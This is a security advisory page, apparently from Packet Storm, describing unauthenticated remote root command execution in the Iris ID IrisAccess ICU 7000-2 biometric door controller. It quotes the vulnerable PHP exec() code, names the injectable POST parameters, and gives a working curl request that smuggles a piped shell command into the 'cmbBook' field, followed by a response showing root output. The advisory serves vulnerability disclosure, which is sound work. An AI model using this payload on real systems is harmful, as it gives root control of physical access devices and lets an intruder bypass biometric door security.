what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Iris ID IrisAccess ICU 7000-2 Remote Root Command Execution

Iris ID IrisAccess ICU 7000-2 Remote Root Command Execution
Posted Jul 27, 2016
Authored by LiquidWorm | Site zeroscience.mk

The Iris ID IrisAccess ICU 7000-2 device suffers from an unauthenticated remote command execution vulnerability. The vulnerability exist due to several POST parameters in the '/html/SetSmarcardSettings.php' script not being sanitized when using the exec() PHP function while updating the Smart Card Settings on the affected device. Calling the '$CommandForExe' variable which is set to call the '/cgi-bin/setsmartcard' CGI binary with the affected parameters as arguments allows the attacker to execute arbitrary system commands as the root user and bypass the biometric access control in place.

tags | exploit, remote, arbitrary, cgi, root, php
SHA-256 | 9ac64b5f4368e8e636317ddaac6a7d12f9f73b9c06e7360a07239e379b4f1e3d

Iris ID IrisAccess ICU 7000-2 Remote Root Command Execution

Change Mirror Download
i>>?
Iris ID IrisAccess ICU 7000-2 Remote Root Command Execution


Vendor: Iris ID, Inc.
Product web page: http://www.irisid.com
http://www.irisid.com/productssolutions/hardwareproducts/icu-7000-2/

Affected version: ICU Software: 1.00.08
ICU OS: 1.3.8
ICU File system: 1.3.8
EIF Firmware [Channel 1]: 1.9
EIF Firmware [Channel 2]: 1.9
Iris TwoPi: 1.4.5

Summary: The ICU 7000-2 is an optional component used when the client requires
iris template data to be matched on the secure side of the door. When using ICU
no data is stored in the iCAM7 Iris Reader itself. The ICU also ensures that portal
operation can continue if the there is an interruption in communication with the
host computer. In such circumstances, the ICU retains the records of portal activity,
then automatically updates the host upon resumption of host communication. Every
ICU in the iCAM4000 / 7 series runs on a LINUX OS for added reliability. Independent
and fault tolerant, ICUs are connected up to 2 iCAMs and handle up to 100,000 users.

Desc: The Iris ID IrisAccess ICU 7000-2 device suffers from an unauthenticated remote
command execution vulnerability. The vulnerability exist due to several POST parameters
in the '/html/SetSmarcardSettings.php' script not being sanitized when using the exec()
PHP function while updating the Smart Card Settings on the affected device. Calling the
'$CommandForExe' variable which is set to call the '/cgi-bin/setsmartcard' CGI binary
with the affected parameters as arguments allows the attacker to execute arbitrary system
commands as the root user and bypass the biometric access control in place.

=====================================================================================

/html/SetSmarCardSettings.php:
------------------------------

53: <?php
54: $ChNo = $_POST['HidChannelID'];
55: if(0 == $ChNo )
56: echo "1";
57: else
58: echo $ChNo;
59: ?>
61: <?php
62: echo "<input type = \"hidden\" name=\"HidChannelID\" value=\"$ChNo\">";
63: echo "<input type=\"hidden\" name=\"ssid\" value=\"1234\">"
64: ?>
81: <td class="menuMain">Smart Card Settings</td>
88: <!-- Content: BOF -->
97: <?php
99: $FileAvaToUpload = $_POST['HidIsFileSelect'];
100: //echo "<br>File availabe is: ";
101: //echo $FileAvaToUpload;
102: //echo "<br>";
104: $BookVal = $_POST['cmbBook'];
105: //echo "<br>BookVal is ";
106: //echo $BookVal;
108: //echo "<br>Channel value is ";
109: //echo $ChNo;
111: $OffSet = $_POST['txtOffSet'];
112: //echo "<br>Offset is ";
113: //echo $OffSet;
115: $DataFormat = $_POST['DataFormat'];
117: //echo "<br>DataFormat is ";
118: //echo $DataFormat;
120: $EncryptAlg = $_POST['EncryAlg'];
122: if(0 == $DataFormat )
123: $EncryptAlg = 4;
125: //echo "<br>Encryption Algarithm is ";
126: //echo $EncryptAlg;
128: $UseAsProxyCard = $_POST['chkUseAsProxCard'];
129: if( "" == $UseAsProxyCard )
130: $UseAsProxyCard = "0";
132: //echo "<br>Use as ProxyCard is ";
133: //echo $UseAsProxyCard;
135: $target_dir = "/tmp/temp_SmartCardKey";
137: //$target_dir = $target_dir . basename( $_FILES["file1"]["name"]);
139: if(1 == $FileAvaToUpload ) {
140: if (move_uploaded_file($_FILES["file1"]["tmp_name"], $target_dir)) {
141: //echo "The file ". basename( $_FILES["file1"]["name"]). " has been uploaded.";
142: } else {
143: //echo "Sorry, there was an error uploading your file.";
144: }
145: }
147: $out = null;
148: $rc= 0;
149: $CommandForExe = "../cgi-bin/setsmartcard $ChNo $BookVal $OffSet $DataFormat $EncryptAlg $UseAsProxyCard $FileAvaToUpload";
150: //$CommandForExe = "../cgi-bin/setsmartcard 1 0 10 1 1 0";
151: echo exec($CommandForExe, $out, $rc);
153: //print_r( $out);
154: //echo 'rc = '.$rc."\n";
156: //echo "After calling binary";
158: //echo "Return value is: ";
159: //echo $rc;
160: //echo $out;
162: $sICUVersion = $_POST['HidVerForPHP'];
163: ?>

=====================================================================================

Vulnerable parameters: DataFormat
EncryAlg
HidChannelID
HidIsFileSelect
cmbBook
txtOffSet


Tested on: GNU/Linux 3.0.51 (armv7l)
mylighttpd v1.0
PHP/5.5.13


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2016-5346
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5346.php


06.05.2016

--


Request (cmbBook=0|id #):
-------------------------

[lqwrm@lalaland /]# curl -i -s -k -X 'POST' \
-H 'User-Agent: joxypoxy/7.2.6' -H 'Content-Type: application/x-www-form-urlencoded' \
--data-binary $'HidChannelID=2&HidcmbBook=0&cmbBook=0|id+%23&HidDisOffSet=13&txtOffSet=37&HidDataFormat=1&HidDataFormatVal=1&DataFormat=1&HidFileAvailable=0&HidEncryAlg=0&EncryAlg=0&HidFileType=0&HidIsFileSelect=0&HidUseAsProxCard=0&HidVerForPHP=1.00.08\x0d\x0a' \
'http://[TARGET]/html/SetSmarcardSettings.php'


Response:
---------

HTTP/1.1 200 OK
X-Powered-By: PHP/5.5.13
Content-type: text/html
Connection: close
Date: Thu, 09 May 2016 14:40:39 GMT
Server: mylighttpd v1.0
Content-Length: 11660

...
</tr>
uid=0(root) gid=0(root) <tr>
<td colspan="2">
...

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close